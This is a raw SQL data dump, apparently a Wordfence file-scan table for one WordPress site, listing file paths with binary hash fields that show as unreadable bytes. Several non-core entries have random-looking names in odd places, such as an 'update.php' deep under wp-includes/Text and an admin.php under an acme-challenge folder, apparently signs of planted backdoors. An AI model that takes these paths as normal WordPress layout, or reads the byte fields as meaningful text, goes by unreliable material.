('֜TF50','wp-includes/css/dist/base-styles/admin-schemes-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/base-styles/admin-schemes-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','><;-\Z7[;@i','0U~b\n):cjqX^^ePN','',0,'?'),
('%#t4x','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{Q\'嚙r(́','Q\'0 @Xw<چDoTжIMs&','',0,'?'),
('>6bYAUF.','wp-includes/blocks/archives.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TKe;DeL)A','ՀVf\'kwqyb^ς7ƨ+','',0,'?'),
('>slWD7M','wp-includes/bookmark-template.php','/home/trevorkl/trevorklee.com/wp-includes/bookmark-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Žgy<ozC4','jL.ǖil=&E	`R','',0,'?'),
('P$rGU7','wp-content/plugins/loginizer/lib/hybridauth/Exception/UnexpectedApiResponseException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/UnexpectedApiResponseException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&QEЅ!L','4;h9\\>F9fUB','',0,'?'),
('gz_Mvf~','wp-includes/css/dist/block-library/classic-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/classic-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&\'qwM4v%q','Ź~م.-~G蕗G','',0,'?'),
('pUύx2q\n','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.update.php','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.update.php',0,'X%|_5d9','X%|_5d9','M|XU\Z;	_l','',0,'?'),
('q,kKI','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DWlAyLRT','GbpeJ@+v!/*','',0,'?'),
('Т펹|@','wp-includes/images/smilies/icon_arrow.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_arrow.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' 	J<go9:x','ncx0ĥtN޾Y2X\0!','',0,'?'),
('u|=:1v','wp-includes/blocks/post-excerpt/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	<\r\'w9zR','OFsoKL*(\nb`fNXsSԚ\\S]','',0,'?'),
('2[v\\)IQ','wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~/\\/0oҹ	ע\\','gZxEĴΗM&3rqclTG','',0,'?'),
('^\\XPvS\\{','wp-admin/js/media-upload.js','/home/trevorkl/trevorklee.com/wp-admin/js/media-upload.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F߻V?an\r','Ea,\Z,yM/\\iQӠ\"?28','',0,'?'),
('/<v`6Y]\r','wp-content/themes/twentytwentyone/assets/sass/07-utilities/measure.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/measure.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','({ƸM','\rE=KIy!Yv*\\_>','',0,'?'),
('^G甝%','wp-content/plugins/wordfence/lib/wfScanFileLink.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanFileLink.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2%Ự嚃g@Ξ','\ZcBQVYNEgI%3<cvX','',0,'?'),
(',f','wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y2eRۻI','Rws5Ǩ6ТKxi,u|','',0,'?'),
('!Z&kAyX)','wp-includes/blocks/comments-pagination-numbers/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-numbers/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aOYc*C)%','~$;V|&8mpțh>','',0,'?'),
('EU-фM:','wp-includes/blocks/more/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/more/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tx:,!f`','!;KQ ʿ\'62w_3R.Ը(','',0,'?'),
('	B~m9bnbŇ`=','wp-includes/blocks/details/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2GaF!P^','#_*%)&k;]V~zo','',0,'?'),
(':\nyˌ\"4','wp-includes/blocks/text-columns/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w`}N\nX','t!l`|*^0	l$C;','',0,'?'),
('UW~/N		','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-svg-icons.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-svg-icons.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6èơ`','[JC3wcg:*$l\n⬨','',0,'?'),
('^N%(`	','wp-includes/block-patterns/navigation-overlay-black-bg.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay-black-bg.php',0,'Pt\0	PۆU','Pt\0	PۆU','zST@?E\\TT}I%G','',0,'?'),
('_\\c9mLv1','wp-includes/compat.php','/home/trevorkl/trevorklee.com/wp-includes/compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ٿM{Gc\'','Wj\'\ZU\\T8kרD','',0,'?'),
('f{\"zpqoN','wp-includes/html-api/gcqoh1b/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('m?\\ϪaGF','wp-content/themes/twentytwentytwo/parts/header-large-dark.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/parts/header-large-dark.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NԻU_ml\0BY5','&0M/WGbv?1m.2%v','',0,'?'),
('qNu\"`yf|','wp-content/themes/twentytwentyfour/assets/images/art-gallery.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/art-gallery.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݺ75N\n8u','rŉ{^o2g]ghjբgPתYq','',0,'?'),
('uRlt\"','wp-includes/sodium_compat/src/Core/Curve25519/Ge/Precomp.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/Precomp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ef2OHKn',':RT3PY\"2g2FJReHcҪu#','',0,'?'),
('ыK\'4XrA ','wp-content/plugins/simpletoc/simpletoc-admin-settings.php','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/simpletoc-admin-settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>x3lBm','.V<wSfv%$e@','',0,'?'),
('ьNI43	','wp-includes/js/dist/script-modules/block-library/playlist/view.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/playlist/view.js',0,'PC\0QbYM&R','PC\0QbYM&R','\\59X֤s`]݌w38','',0,'?'),
('эgH\n]T2k~','wp-content/plugins/wordfence/js/vue.esm-browser.prod.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/vue.esm-browser.prod.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',e\n\ZYs','ϵܧ>4|mbs](Po%9.','',0,'?'),
('эڬxV&TZxjw','wp-includes/blocks/footnotes/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/footnotes/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.Qfn3','li+!)f%%u!Ye4\'','',0,'?'),
('і\"sk83','wp-content/themes/twentytwentyone/assets/sass/05-blocks/social-icons/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/social-icons/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`Ә)n','(%L{0d &X2I\Zʜgq','',0,'?'),
('іÛ~Ld','wp-content/plugins/wordfence/modules/login-security/css/font-awesome.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/font-awesome.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rkx}D+','i\nnj8jJ+W0v{Q38','',0,'?'),
('ћXClBȆ,','wp-includes/blocks/query/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/view.min.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5UHĠ\n','˭w\0tzwF7ǢXΞSu#t','',0,'?'),
('ѡh$U #P/','wp-content/uploads/gaqpdcf/index.html','/home/trevorkl/trevorklee.com/wp-content/uploads/gaqpdcf/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('Ѷ\"<9޺ZXmǕ','wp-includes/class-wp-theme-json-schema.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-theme-json-schema.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`yul[)','<Z5ews[qr_157','',0,'?'),
('_V#Bt','wp-content/wflogs/config-transient.php','/home/trevorkl/trevorklee.com/wp-content/wflogs/config-transient.php',0,'ẻħt݄R~','ẻħt݄R~','W*yX[\ZNek9Us7oh','',0,'?'),
('Jh|0`ZpE','wp-admin/user-edit.php','/home/trevorkl/trevorklee.com/wp-admin/user-edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MOؙw','HXDjE.z5aw!o}^K','',0,'?'),
('7[*wJ\nn>','wp-includes/js/dist/redux-routine.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/redux-routine.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',@6M(j','\rUZţ\'Ffj^q','',0,'?'),
('8s鎗߹Oh','wp-includes/js/dist/vendor/regenerator-runtime.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/regenerator-runtime.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4(\"$%~','Vс*3)θe@?zBɚ','',0,'?'),
('U9͵:.AR~%','wp-content/well-known/acme-challenge/f/e/b/b/fewioln/zltfr1c/admin.php','/home/trevorkl/trevorklee.com/wp-content/well-known/acme-challenge/f/e/b/b/fewioln/zltfr1c/admin.php',0,'Kɪ.PSM','Kɪ.PSM','8\rƆ6)2q2YIF4q','',0,'?'),
('cuYh:WX','wp-content/themes/twentytwentyfive/patterns/header-columns.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/header-columns.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','˯sSDIX޻','PA-<$4d9J`H6O<0U$','',0,'?'),
('ji \nT槿\r','wp-includes/blocks/post-featured-image.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0yf}؟Q','DU+ӡ_Tn6Zn_;&','',0,'?'),
('x\nA[*ZxS9NY','wp-content/themes/twentytwentyone/assets/sass/style-dark-mode.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/style-dark-mode.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')M+.x','v*#( RhLFox','',0,'?'),
('Ҟǟ	Ks','wp-includes/images/icon-pointer-flag-2x.png','/home/trevorkl/trevorklee.com/wp-includes/images/icon-pointer-flag-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2b&Zr','4Bȥ\'x+chҠVn5I>j','',0,'?'),
('Ҫ*H\n;t','wp-admin/includes/ajax-actions.php','/home/trevorkl/trevorklee.com/wp-admin/includes/ajax-actions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/+!N\"n |','>/7x[Ѯ%/>sߐH','',0,'?'),
('ҭ_VlKg!p1','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/rules.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/rules.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C}\rH&/\\','&Q#PhlN6yryC)=1Pӡ}|)Z','',0,'?'),
('ҲE5|ѵCd闼','wp-admin/options-reading.php','/home/trevorkl/trevorklee.com/wp-admin/options-reading.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>~?H3WX+','w1|َPj*=|^p͞HD','',0,'?'),
('Lt593u^)','wp-admin/images/comment-grey-bubble-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/comment-grey-bubble-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TYŝ2s,\rm','DxT-wN	P{','',0,'?'),
('f*u0LݴS!:\Z-P','wp-includes/sitemaps/providers/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/providers/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ǣ]\0T','wp-content/themes/twentytwentythree/patterns/hidden-heading.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/hidden-heading.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+[v]Vzp*','cVcӸ\0\\6bgAS','',0,'?'),
('q~3','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Italic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Italic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7r/ܫLV\\','.Iy:P]!~P	׫:p5eP','',0,'?'),
('N;$-\"*G','wp-content/plugins/loginizer/lib/hybridauth/Provider/OpenID.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Provider/OpenID.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Di+<ű&','ћ`_%EtZN\r$\00NΌIW','',0,'?'),
('wlղ<݊\n','wp-includes/js/dist/script-modules/vips/loader.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/vips/loader.min.asset.php',0,'5ӈ\nR&`1~','5ӈ\nR&`1~','_ቺn*s)\\.mn$-炿','',0,'?'),
('\0\n9C','wp-includes/class-wp-speculation-rules.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-speculation-rules.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':\",JK','_tE_.ѝoLf\\4Fi1jX','',0,'?'),
('lI\r,B8','wp-includes/blocks/quote/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Fm/x%rka','YSYOOc1tjxRTB','',0,'?'),
('AXZ=','wp-includes/Requests/src/Ssl.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Ssl.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tvbuض:|','ċ^Ȩ瞅KFc\"Wd \0V֜,eb(H3,','',0,'?'),
('\0\"QH','wp-content/plugins/loginizer/functions.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T.v}\ZQ','h}^\nX1\"!jvFG','',0,'?'),
('w]cIwȰH','wp-includes/js/dist/vendor/wp-polyfill-fetch.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-fetch.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'WFRW','\0^x <KB`SNej6jOW','',0,'?'),
('(EhLf|~','wp-includes/blocks/details/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2GaF!P^','#_*%)&k;]V~zo','',0,'?'),
(':S}Yo','wp-content/.rs_g9/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g9/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('E#lL_&ܪ','wp-admin/images/arrows.png','/home/trevorkl/trevorklee.com/wp-admin/images/arrows.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v$>>Y','YW(N32U;<.iDd!','',0,'?'),
('Mp\0`knP','wp-includes/template-canvas.php','/home/trevorkl/trevorklee.com/wp-includes/template-canvas.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b\\Kg5vmx','=\0Ć}}8\rq>&','',0,'?'),
('Un/|r@ڪ','wp-content/wflogs/config.php','/home/trevorkl/trevorklee.com/wp-content/wflogs/config.php',0,'JB3 aHK','JB3 aHK','݀4o{$K5^,Dc쥬ؖX','',0,'?'),
('[:Sh	˸','wp-content/themes/twentynineteen/sass/navigation/_menu-social-navigation.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_menu-social-navigation.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']<1!\0o','#@^=}l5@Wsa	#a V','',0,'?'),
('jsw2pqS','wp-content/plugins/wordfence/lib/wfIssues.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfIssues.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DiDG:Z','8=5bG@m[={Qm/\Z%','',0,'?'),
('s}Ƕ)TV','wp-includes/blocks/nextpage/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/nextpage/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oXVዏM','2?#{eOz_Q\"z}','',0,'?'),
('{ڭd3TXy7;','wp-includes/css/admin-bar-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/admin-bar-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Wi%xˤQxKB','0O%|Il1LxUEC~g','',0,'?'),
('}eC!*','wp-includes/js/codemirror/codemirror.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/codemirror.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	fh;fq','u*Q6Ƅdvdȇ_\0','',0,'?'),
('Ӂ\'PpL)Wm','wp-includes/blocks/tag-cloud/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Ӂl-y4Ngp0','wp-content/themes/twentytwentyone/template-parts/content/content-single.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content-single.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0F\ZLOk:','Z8!!P8~\0eh','',0,'?'),
('ӕ\nt0','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmSU5fBBc-AMP6lQ.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmSU5fBBc-AMP6lQ.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mpGaBNX>(','%-*Ψ6Fi\rWϹM׽WI:vD','',0,'?'),
('әfSd9','wp-content/plugins/loginizer/main/settings/sso.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/settings/sso.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','YP\ngˆ>G','>6*Wof[pʈ0ɟ','',0,'?'),
('ӟmy+\nf:','wp-includes/js/wp-api.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-api.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ɶ	@\\RT3','<bЍS8\"fU-ЛrM~L','',0,'?'),
('ӣ#Nx<','wp-includes/images/smilies/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ӤǕLFZQ','wp-includes/css/dist/block-library/common-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/common-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wX -hP','j\Z^	ƓYo;aeEn\"','',0,'?'),
('Ӫ!Ft	%?l@]','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Bold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Bold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wM;_mȁ','NSa4\\Mؘ$ΓH\0x','',0,'?'),
('ӪG=OLwP','wp-includes/blocks/comment-author-name/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-author-name/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3\\IFfyLZ','=NI9\0:#$ynq','',0,'?'),
('Ӱ@p 5xP','wp-content/themes/twentynineteen/sass/mixins/_mixins-master.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/mixins/_mixins-master.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J;MS\nQdڇ','&жdII28!.!е̼u','',0,'?'),
('|+XaI/','wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-grid-posts.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-grid-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`;Qc;r`n','Qyw k}P	F\nǭ0','',0,'?'),
('эo(Httx.','wp-includes/blocks/table/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.PuJa?-','jәO2dkU6WֈvgUje','',0,'?'),
('>Zbo&','wp-content/plugins/akismet/views/config.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/config.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B	4i0#v\r','3/? (wRnA<2~','',0,'?'),
('5ĺ%','wp-includes/blocks/buttons/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nFh5%pD?','vF?˨l@c~J5?5tN4','',0,'?'),
('u#K@d*ou','wp-includes/blocks/button/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('HAG|\"','wp-includes/blocks/nextpage/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/nextpage/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6Rc0t F0','XkW4xYĘH7ya','',0,'?'),
('I7߇S2&','wp-admin/erase-personal-data.php','/home/trevorkl/trevorklee.com/wp-admin/erase-personal-data.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']yC|DJ&!','&\0&YU5F@)','',0,'?'),
('?H4V\n','wp-includes/blocks/pullquote/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ҵ%a;','>Q ٘5,ý}a\0in','',0,'?'),
('	kJ? @x','wp-includes/blocks/categories/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CtܕKѥ|','zәDӶn!A˃]?','',0,'?'),
('0*W','wp-content/plugins/index.php','/home/trevorkl/trevorklee.com/wp-content/plugins/index.php',0,'gD,V=\\bP','gD,V=\\bP','k~	UH\ZxPĀ<;X','',0,'?'),
('\rIBo~HHpq,G','wp-content/.rs_g10/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g10/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('\r\n8n}','wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4Cm[^ԙ*','	Or[\0c+1w@ChVE.','',0,'?'),
('A?j&l\\tQ|','wp-includes/Requests/src/Capability.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Capability.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dzϤw{','g$_;^>mΔ-dp+g','',0,'?'),
('1\nH̵EQ-*/$','wp-includes/blocks/post-author-name/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-name/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}rMXo','~	(Z<=$ޤ#ݹw','',0,'?'),
('H4LfPc','wp-includes/blocks/accordion-item/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-item/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VUe~W	','DcO+,(\"\\_+WoƬ','',0,'?'),
('].ooȦM-n	','wp-admin/images/align-none-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/align-none-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XC)[-4','ߧ&QQp\"~\Z8S׊YS`','',0,'?'),
('h%\nYxÄVv9','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p]O0O*','iCcR:^˴e\ZqʊY','',0,'?'),
('ԗRa>8S','wp-includes/SimplePie/src/Cache/DB.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/DB.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ɋׇT\nT','jNn{cfp=ܹZQ)%','',0,'?'),
('ԛatr','wp-includes/blocks/video/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o\r9s','jk(h1XݥN-@¯ǃY','',0,'?'),
('Ԝd&;0;}h','wp-includes/blocks/columns/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kGm#e\\','GRP9&4hNrNLW@\\nϮ','',0,'?'),
('ԸuG6V','wp-content/plugins/loginizer/lib/hybridauth/Adapter/OAuth1.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Adapter/OAuth1.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T++Cr?',':%7\Z|iBEc0!U?\nŘ','',0,'?'),
('ԻqE{n','wp-includes/blocks/verse/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/verse/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eˣRR|','j/+H+׈z*c*aae','',0,'?'),
('Խa>qP۵','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-6.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-6.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%:1.h','3\n^rD+nDwYnJBxoB ','',0,'?'),
('Ȇp]4Lq','wp-includes/css/admin-bar.css','/home/trevorkl/trevorklee.com/wp-includes/css/admin-bar.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f<[]y\\.F*K','a/$|,·%fQ','',0,'?'),
